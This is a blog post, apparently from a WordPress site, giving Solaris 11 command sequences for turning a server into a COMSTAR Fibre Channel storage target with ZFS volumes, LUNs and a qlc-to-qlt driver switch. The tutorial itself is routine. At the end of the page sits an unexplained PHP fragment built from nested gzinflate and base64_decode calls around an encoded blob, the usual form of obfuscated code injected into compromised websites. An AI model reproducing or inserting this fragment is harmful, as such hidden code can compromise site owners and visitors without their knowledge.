Delicious

Archives

Categories

COMSTAR as storage server

  ozzie / 08/03/2016


download & install packages via IPS solaris 11

root@badak1:~# pkg install storage-server

enable STMF service

root@badak1:~# svcs stmf
STATE          STIME    FMRI
disabled       17:00:18 svc:/system/stmf:default
root@badak1:~# svcadm enable stmf
root@badak1:~# svcs stmf
STATE          STIME    FMRI
online         23:35:40 svc:/system/stmf:default

create ZFS volume

root@badak1:~#  zpool create -f EMBER c0t5002361000151708d0 c0t5002361000154735d0 
root@badak1:~#  zpool create -f BASKOM c0t5002361000155234d0 c0t5002361000155405d0
root@badak1:~#  zfs create -V 355g EMBER/disk-vol1
root@badak1:~#  zfs create -V 355g BASKOM/disk-vol3

create LUN

root@badak1:~#  sbdadm create-lu /dev/zvol/rdsk/EMBER/disk-vol1
root@badak1:~#  sbdadm create-lu /dev/zvol/rdsk/BASKOM/disk-vol3
 
root@badak1:~#  sbdadm list-lu
Found 2 LU(s)
              GUID                    DATA SIZE           SOURCE
--------------------------------  -------------------  ----------------
600144f0f9140a0000005306316e0003  381178347520         /dev/zvol/rdsk/EMBER/disk-vol1
600144f0f9140a000000530631790004  381178347520         /dev/zvol/rdsk/BASKOM/disk-vol3

update mode FC

root@badak1:~#   mdb -k
Loading modules: [ unix genunix specfs dtrace mac cpu.generic uppc apix scsi_vhci zfs mr_sas sd ip hook neti arp usba kssl random qlc fctl sockfs lofs idm cpc mpt_sas crypto sata fcp fcip ufs logindmux ptm sppp nsmb ipc nfs stmf md ii nsctl rdc sdbc smbsrv stmf_sbd sv ]
> ::devbindings -q qlc
ffffc1c01d0b0170 pciex1077,2532, instance #0 (driver name: qlc)
ffffc1c01d0afe88 pciex1077,2532, instance #1 (driver name: qlc)
 
 
root@badak1:~#  update_drv -d -i 'pciex1077,2532' qlc
root@badak1:~#  update_drv -a -i 'pciex1077,2532' qlt
root@badak1:~#   luxadm -e port
/devices/pci@340/pci@1/pci@0/pci@6/SUNW,qlc@0/fp@0,0:devctl        CONNECTED
/devices/pci@340/pci@1/pci@0/pci@c/SUNW,qlc@0/fp@0,0:devctl        CONNECTED
/devices/pci@340/pci@1/pci@0/pci@6/SUNW,qlc@0,1/fp@0,0:devctl      NOT CONNECTED
/devices/pci@340/pci@1/pci@0/pci@c/SUNW,qlc@0,1/fp@0,0:devctl      NOT CONNECTED

NEXT: add view (ALL) atau per/ hostgroup / target group
udah gitu aja


« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>